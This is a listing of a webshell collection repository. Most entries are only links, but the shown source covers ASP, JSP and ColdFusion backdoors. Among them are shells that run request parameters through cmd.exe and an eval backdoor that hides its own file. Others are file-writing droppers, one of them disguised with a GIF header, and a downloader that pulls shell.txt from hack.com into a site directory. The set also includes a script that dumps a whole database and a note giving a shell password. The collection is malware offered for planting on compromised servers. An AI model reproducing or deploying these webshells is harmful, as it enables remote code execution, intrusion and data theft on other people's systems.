/Asp/Aventis KlasVayv 1.0.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/Aventis KlasVayv 1.0.asp
--------------------------------------------------------------------------------
/Asp/CmdAsp.asp:
--------------------------------------------------------------------------------
1 | <++ CmdAsp.asp ++>
2 | <%@ Language=VBScript %>
3 | <%
4 |
5 |
6 | %>
7 |
8 |
9 |
13 |
14 | <%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
15 |
16 | <%
17 |
18 | %>
19 |
20 |
21 | <-- CmdAsp.asp -->
22 |
--------------------------------------------------------------------------------
/Asp/CyberSpy5.Asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/CyberSpy5.Asp
--------------------------------------------------------------------------------
/Asp/DJ团队.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/DJ团队.asp
--------------------------------------------------------------------------------
/Asp/ELMALISEKER Backd00r.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/ELMALISEKER Backd00r.asp
--------------------------------------------------------------------------------
/Asp/Expdoor.com ASP专用小马.asp:
--------------------------------------------------------------------------------
1 | Expdoor.com ASP专用小马
2 |
22 | <%
23 | dim s
24 | if request("action")="set" then
25 | Text=request("Text")
26 | FileName=request("FileName")
27 | set fs=server.CreateObject("Scripting.FileSystemObject") '创建FSO组件
28 | set file=fs.OpenTextFile(server.MapPath(FileName),8,True) '创建FileName指定的文件
29 | file.writeline Text '把TEXT逐行写入到文件中，如果没有写
30 |
31 | 权限，会造成操作失败
32 | file.close '关闭file
33 | set file=nothing '释放
34 | set fs=nothing '释放
35 | response.write ("") '返回到客户端执行提示保存成功
36 | end if
37 | %>
--------------------------------------------------------------------------------
/Asp/I.N.F HACKING CENTER.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/I.N.F HACKING CENTER.asp
--------------------------------------------------------------------------------
/Asp/JspWebShell By 绝对零度.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/JspWebShell By 绝对零度.asp
--------------------------------------------------------------------------------
/Asp/KOA ASP类 WebShell扫描工具.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/KOA ASP类 WebShell扫描工具.asp
--------------------------------------------------------------------------------
/Asp/NTDaddy v1.9.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/NTDaddy v1.9.asp
--------------------------------------------------------------------------------
/Asp/PcAnywhere提权 Bin版本.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/PcAnywhere提权 Bin版本.asp
--------------------------------------------------------------------------------
/Asp/RHTOOLS 1.5 BETA(PVT) Edited By KingDefacer.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/RHTOOLS 1.5 BETA(PVT) Edited By KingDefacer.asp
--------------------------------------------------------------------------------
/Asp/RHTOOLS 1.5 BETA(PVT).asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/RHTOOLS 1.5 BETA(PVT).asp
--------------------------------------------------------------------------------
/Asp/RedHat Hacker.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/RedHat Hacker.asp
--------------------------------------------------------------------------------
/Asp/RedHat Hacker.asp明文版.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/RedHat Hacker.asp明文版.asp
--------------------------------------------------------------------------------
/Asp/Remote Explorer.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/Remote Explorer.asp
--------------------------------------------------------------------------------
/Asp/STHx 渗透小组专用 ASP小马.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/STHx 渗透小组专用 ASP小马.asp
--------------------------------------------------------------------------------
/Asp/Server Variables.asp:
--------------------------------------------------------------------------------
1 | <%
2 | Dim Vars
3 | %>
4 |
5 |
6 |
7 | A list of all server
8 | variables :
9 |
10 |
11 |
12 |
13 |
14 | Server
15 | Variable Name
16 | |
17 | Server
18 | Variable Value
19 | |
20 |
21 | <% For Each Vars In Request.ServerVariables %>
22 |
23 | | <%= Vars %> |
24 | <%= Request.ServerVariables(Vars) %> |
25 |
26 | <% Next %>
27 |
28 |
--------------------------------------------------------------------------------
/Asp/TNTHK加密小马.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/TNTHK加密小马.asp
--------------------------------------------------------------------------------
/Asp/UnKnown 高级Vip防删收费版.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/UnKnown 高级Vip防删收费版.asp
--------------------------------------------------------------------------------
/Asp/Web Shell.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/Web Shell.asp
--------------------------------------------------------------------------------
/Asp/Welcome To AK Team.asp:
--------------------------------------------------------------------------------
1 | GIF89a$ ;
2 | <% if request("miemie")="av" then %>
3 | <%
4 | on error resume next
5 | testfile=Request.form("2010")
6 | if Trim(request("2010"))<>"" then
7 | set fs=server.CreateObject("scripting.filesystemobject")
8 | set thisfile=fs.CreateTextFile(testfile,True)
9 | thisfile.Write(""&Request.form("1988") & "")
10 | if err =0 Then
11 | response.write"Success"
12 | else
13 | response.write"False"
14 | end if
15 | err.clear
16 | thisfile.close
17 | set fs = nothing
18 | End if
19 | %>
20 |
33 | Welcome To AK Team
34 |
41 | <% end if %>
42 |
43 | shell.asp?miemie=av
--------------------------------------------------------------------------------
/Asp/ZehirIV.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/ZehirIV.asp
--------------------------------------------------------------------------------
/Asp/asp wget drag database.asp:
--------------------------------------------------------------------------------
1 | <%@LANGUAGE="VBSCRIPT" CODEPAGE="65001" %>'这里改编码方式
2 | <%
3 | '用法：如果把本程序放在[url]http://www.xxx.com/sql.asp[/url]，可以wget [url]http://www.xxx.com/sql.asp[/url] -O x.csv 来直接拖库
4 | Response.Buffer = True
5 | Server.ScriptTimeout = 2147483647
6 |
7 | str="Driver={Sql Server};Server=192.168.1.5;Uid=mssql库名;Pwd=mssql密码;Database=库名" 这里是连接字符串
8 | Set Conn=Server.CreateObject("Adodb.connection")
9 | Conn.Open str
10 |
11 | Set Rs = Server.Createobject("Adodb.Recordset")
12 |
13 | Sqlstr="SELECT * FROM 库名.dbo.[表名]" '这里是导哪个库哪个表的语句
14 | Rs.Open Sqlstr,Conn,3,3
15 |
16 | If(Rs.Fields.Count > 0)Then
17 | For I = 0 To Rs.Fields.Count - 1
18 | Response.Write Rs.Fields(i).Name & " "
19 | Next
20 | Response.Write(vbNewLine)
21 |
22 | For I = 1 To Rs.RecordCount
23 |
24 | If(I Mod 100 = 0)Then
25 | Response.Flush
26 | End If
27 |
28 | For J = 0 To Rs.Fields.Count - 1
29 | Response.Write Rs(J) & " "
30 | Next
31 |
32 | Response.Write(vbNewLine)
33 |
34 | Rs.MoveNext
35 | Next
36 | End If
37 |
38 | Rs.Close
39 | Conn.Close
40 | If(Err <> 0)Then Response.Write(Err.Description)
41 | Set Rs = Nothing
42 | Set Conn = Nothing
43 | %>
--------------------------------------------------------------------------------
/Asp/by EJDER.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/by EJDER.asp
--------------------------------------------------------------------------------
/Asp/bypass-iisuser-p.asp:
--------------------------------------------------------------------------------
1 | <%Eval(Request(chr(112))):Set fso=CreateObject("Scripting.FileSystemObject"):Set f=fso.GetFile(Request.ServerVariables("PATH_TRANSLATED")):if f.attributes <> 39 then:f.attributes = 39:end if%>
--------------------------------------------------------------------------------
/Asp/download 下载文件.asp:
--------------------------------------------------------------------------------
1 | <%
2 | Set xPost = createObject("Microsoft.XMLHTTP")
3 | xPost.Open "GET","http://hack.com/shell.txt",0
4 | xPost.Send()
5 | Set sGet = createObject("ADODB.Stream")
6 | sGet.Mode = 3
7 | sGet.Type = 1
8 | sGet.Open()
9 | sGet.Write(xPost.responseBody)
10 | sGet.SaveToFile "D:\website\jingsheng\Templates\heise\html\shell.asp",2
11 | %>
--------------------------------------------------------------------------------
/Asp/h4ck_Door.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/h4ck_Door.asp
--------------------------------------------------------------------------------
/Asp/hkmjj.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/hkmjj.asp
--------------------------------------------------------------------------------
/Asp/inDEXER And ReaDer.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/inDEXER And ReaDer.asp
--------------------------------------------------------------------------------
/Asp/list.cer:
--------------------------------------------------------------------------------
1 |
11 |
12 |
13 |
14 |
15 | <%
16 |
17 | file=request("file")
18 | tipo=request("type")
19 |
20 | If file="" then
21 | file="c:\"
22 | tipo="1"
23 | End If
24 |
25 | %>
26 |
27 |
28 |
33 |
34 |
35 | <%
36 |
37 | If tipo="1" then
38 | Response.Write("PATH: " & file & "
")
39 | ListFolder(file)
40 | End If
41 |
42 | If tipo="2" then
43 | Response.Write("FILE: " & file & "
")
44 |
45 | Set oStr = server.CreateObject("Scripting.FileSystemObject")
46 | Set oFich = oStr.OpenTextFile(file, 1)
47 |
48 | Response.Write("--
")
49 |
50 | Response.Write(oFich.ReadAll)
51 |
52 | Response.Write("
--
")
53 |
54 | End If
55 | %>
56 |
57 | <%
58 |
59 | sub ListFolder(path)
60 |
61 | set fs = CreateObject("Scripting.FileSystemObject")
62 | set folder = fs.GetFolder(path)
63 |
64 | Response.Write("
( ) " & ".." & "" & vbCrLf)
65 |
66 | for each item in folder.SubFolders
67 | Response.Write("
( ) " & item.Name & "" & vbCrLf)
68 | next
69 |
70 | for each item in folder.Files
71 | Response.Write("" & item.Name & " - " & item.Size & " bytes, " & "" & vbCrLf)
72 | next
73 |
74 | end sub
75 |
76 | %>
77 |
78 |
79 |
80 |
--------------------------------------------------------------------------------
/Asp/mssql.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/mssql.asp
--------------------------------------------------------------------------------
/Asp/r00ts小组过防火墙马.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/r00ts小组过防火墙马.asp
--------------------------------------------------------------------------------
/Asp/r00ts无FSO组建大马.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/r00ts无FSO组建大马.asp
--------------------------------------------------------------------------------
/Asp/radhat.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/radhat.asp
--------------------------------------------------------------------------------
/Asp/upfile_write.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/upfile_write.asp
--------------------------------------------------------------------------------
/Asp/upfile_write.rar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/upfile_write.rar
--------------------------------------------------------------------------------
/Asp/上传小马.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/上传小马.asp
--------------------------------------------------------------------------------
/Asp/不灭之魂.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/不灭之魂.asp
--------------------------------------------------------------------------------
/Asp/不灭之魂2013改进版本.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/不灭之魂2013改进版本.asp
--------------------------------------------------------------------------------
/Asp/传说中的hcker.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/传说中的hcker.asp
--------------------------------------------------------------------------------
/Asp/传说中的草泥马4.0.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/传说中的草泥马4.0.asp
--------------------------------------------------------------------------------
/Asp/修改属性.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/修改属性.asp
--------------------------------------------------------------------------------
/Asp/啊D小工具 - 目录读写检测 [ASP版].asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/啊D小工具 - 目录读写检测 [ASP版].asp
--------------------------------------------------------------------------------
/Asp/图片一句话/JFIF.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/图片一句话/JFIF.asp
--------------------------------------------------------------------------------
/Asp/图片一句话/gif87a.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/图片一句话/gif87a.jpg
--------------------------------------------------------------------------------
/Asp/图片一句话/gif89a.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/图片一句话/gif89a.asp
--------------------------------------------------------------------------------
/Asp/图片一句话/img.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/图片一句话/img.jpg
--------------------------------------------------------------------------------
/Asp/图片一句话/mima_abcd.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/图片一句话/mima_abcd.jpg
--------------------------------------------------------------------------------
/Asp/土司搞基asp大马.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/土司搞基asp大马.asp
--------------------------------------------------------------------------------
/Asp/在线数据库管理工具 1.5.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/在线数据库管理工具 1.5.asp
--------------------------------------------------------------------------------
/Asp/小强asp木马.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/小强asp木马.asp
--------------------------------------------------------------------------------
/Asp/小红帽.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/小红帽.asp
--------------------------------------------------------------------------------
/Asp/很好用的扫可读可写目录asp脚本xwdir.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/很好用的扫可读可写目录asp脚本xwdir.asp
--------------------------------------------------------------------------------
/Asp/旁注 - 网站小助手.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/旁注 - 网站小助手.asp
--------------------------------------------------------------------------------
/Asp/星外-华众-新网-虚拟主机提权专用Webshell.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/星外-华众-新网-虚拟主机提权专用Webshell.asp
--------------------------------------------------------------------------------
/Asp/木马帮V1.1-火舌版.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/木马帮V1.1-火舌版.asp
--------------------------------------------------------------------------------
/Asp/法克僵尸大马.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/法克僵尸大马.asp
--------------------------------------------------------------------------------
/Asp/海阳顶端网ASP木马＠2006PLUS - By Marcos.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/海阳顶端网ASP木马＠2006PLUS - By Marcos.asp
--------------------------------------------------------------------------------
/Asp/火狐NEW WebShell.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/火狐NEW WebShell.asp
--------------------------------------------------------------------------------
/Asp/炽天使.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/炽天使.asp
--------------------------------------------------------------------------------
/Asp/牛逼免杀提权隐藏大马.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/牛逼免杀提权隐藏大马.asp
--------------------------------------------------------------------------------
/Asp/目录扫描.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/目录扫描.asp
--------------------------------------------------------------------------------
/Asp/目录扫描读写马.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/目录扫描读写马.asp
--------------------------------------------------------------------------------
/Asp/红狼ASP木马--Anfly免杀版.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/红狼ASP木马--Anfly免杀版.asp
--------------------------------------------------------------------------------
/Asp/草莓webshell.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/草莓webshell.asp
--------------------------------------------------------------------------------
/Asp/虚拟主机提权专用Webshell去后门版.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/虚拟主机提权专用Webshell去后门版.asp
--------------------------------------------------------------------------------
/Asp/虚拟机主机提权大马.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/虚拟机主机提权大马.asp
--------------------------------------------------------------------------------
/Asp/银河舰队大马_2014版.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/银河舰队大马_2014版.asp
--------------------------------------------------------------------------------
/Asp/银河舰队大马_2015专版asp大马.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/银河舰队大马_2015专版asp大马.asp
--------------------------------------------------------------------------------
/Aspx/ASPX one line Code Client by amxku.aspx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | ASPX one line Code Client by amxku
5 |
6 |
7 |
26 |
27 |
28 |
29 |
32 |
33 |
34 |
35 | #myVar#
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
--------------------------------------------------------------------------------
/Cfm/cfmShell.cfm:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | CFM shell
6 |
7 |
8 |
9 |
10 | #cmd#
11 |
15 |
16 |
17 |
21 |
22 |
25 |
28 |
30 |
31 |
32 |
33 |
--------------------------------------------------------------------------------
/Cfm/cmd.cfm:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 | #myVar#
29 |
30 |
31 |
32 |
--------------------------------------------------------------------------------
/Cfm/cmfshell.cmf:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | H4x0r's cfmshell
5 |
6 |
7 |
8 |
9 | #cmd#
10 |
14 |
15 |
16 |
20 |
21 |
24 |
27 |
29 |
30 |
31 |
--------------------------------------------------------------------------------
/Cfm/devshell.cfm:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Cfm/devshell.cfm
--------------------------------------------------------------------------------
/Cfm/devshell.md:
--------------------------------------------------------------------------------
1 | 密码：adobe123 使用方式：http://url/test.cfm?o=login
--------------------------------------------------------------------------------
/Cfm/list.cfm:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Cfm/list.cfm
--------------------------------------------------------------------------------
/Cfm/mycode12.cfm:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | CFM shell
6 |
7 |
8 |
9 |
10 | #cmd#
11 |
15 |
16 |
17 |
21 |
22 |
25 |
28 |
30 |
31 |
32 |
33 |
--------------------------------------------------------------------------------
/Cfm/xl.cfm:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Cfm/xl.cfm
--------------------------------------------------------------------------------
/Javascript/README.md:
--------------------------------------------------------------------------------
1 | # Javascript-Backdoor
2 | Learn from Casey Smith @subTee
3 | https://gist.github.com/subTee/f1603fa5c15d5f8825c0
4 |
--------------------------------------------------------------------------------
/Jsp/Command Execution (win32).jsp:
--------------------------------------------------------------------------------
1 | <%@ page import="java.util.*,java.io.*,java.net.*"%>
2 | <%
3 | //
4 | // JSP_KIT
5 | //
6 | // cmd.jsp = Command Execution (win32)
7 | //
8 | // by: Unknown
9 | // modified: 27/06/2003
10 | //
11 | %>
12 |
13 |
17 |
18 | <%
19 | if (request.getParameter("cmd") != null) {
20 | out.println("Command: " + request.getParameter("cmd") + "\n
");
21 | Process p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("cmd"));
22 | OutputStream os = p.getOutputStream();
23 | InputStream in = p.getInputStream();
24 | DataInputStream dis = new DataInputStream(in);
25 | String disr = dis.readLine();
26 | while ( disr != null ) {
27 | out.println(disr); disr = dis.readLine(); }
28 | }
29 | %>
30 |
31 |
32 |
--------------------------------------------------------------------------------
/Jsp/GetShell.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | jsp-yzmm
5 |
6 |
12 |
34 |
35 |
43 |
44 |
45 |
--------------------------------------------------------------------------------
/Jsp/JFoler 1.0.jsp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Jsp/JFoler 1.0.jsp
--------------------------------------------------------------------------------
/Jsp/JSP Shell 岁月联盟专用版本.jsp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Jsp/JSP Shell 岁月联盟专用版本.jsp
--------------------------------------------------------------------------------
/Jsp/JspDo Code By Xiao.3.jsp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Jsp/JspDo Code By Xiao.3.jsp
--------------------------------------------------------------------------------
/Jsp/Jspspy web~shell V1.0 ※MADE by 孤水绕城 QQ540410588.jsp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Jsp/Jspspy web~shell V1.0 ※MADE by 孤水绕城 QQ540410588.jsp
--------------------------------------------------------------------------------
/Jsp/Jsp反弹shell.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Jsp/Jsp反弹shell.txt
--------------------------------------------------------------------------------
/Jsp/Mysql Database.jsp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Jsp/Mysql Database.jsp
--------------------------------------------------------------------------------
/Jsp/Silic Group.jsp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Jsp/Silic Group.jsp
--------------------------------------------------------------------------------
/Jsp/cmdjsp.jsp:
--------------------------------------------------------------------------------
1 | // note that linux = cmd and windows = "cmd.exe /c + cmd"
2 |
3 |
7 |
8 | <%@ page import="java.io.*" %>
9 | <%
10 | String cmd = request.getParameter("cmd");
11 | String output = "";
12 |
13 | if(cmd != null) {
14 | String s = null;
15 | try {
16 | Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
17 | BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
18 | while((s = sI.readLine()) != null) {
19 | output += s;
20 | }
21 | }
22 | catch(IOException e) {
23 | e.printStackTrace();
24 | }
25 | }
26 | %>
27 |
28 |
29 | <%=output %>
30 |
31 |
32 |
33 |
--------------------------------------------------------------------------------
/Jsp/jshell ver 0.1.jsp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Jsp/jshell ver 0.1.jsp
--------------------------------------------------------------------------------
/Jsp/jshell ver 1.0.jsp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Jsp/jshell ver 1.0.jsp
--------------------------------------------------------------------------------
/Jsp/jspspy_k8.jsp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Jsp/jspspy_k8.jsp
--------------------------------------------------------------------------------
/Jsp/logger小马.jsp:
--------------------------------------------------------------------------------
1 | <%java.util.logging.Logger l=java.util.logging.Logger.getLogger("t");java.util.logging.FileHandler h=new java.util.logging.FileHandler(pageContext.getServletContext().getRealPath("/")+request.getParameter("f"),true);h.setFormatter(new java.util.logging.SimpleFormatter());l.addHandler(h);l.info(request.getParameter("t"));%>
2 |
--------------------------------------------------------------------------------
/Jsp/上传小马.jsp:
--------------------------------------------------------------------------------
1 | <%@ page language="java" pageEncoding="gbk"%><% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>0<%}}if(i==0){%>1<%}%>
46 |
47 |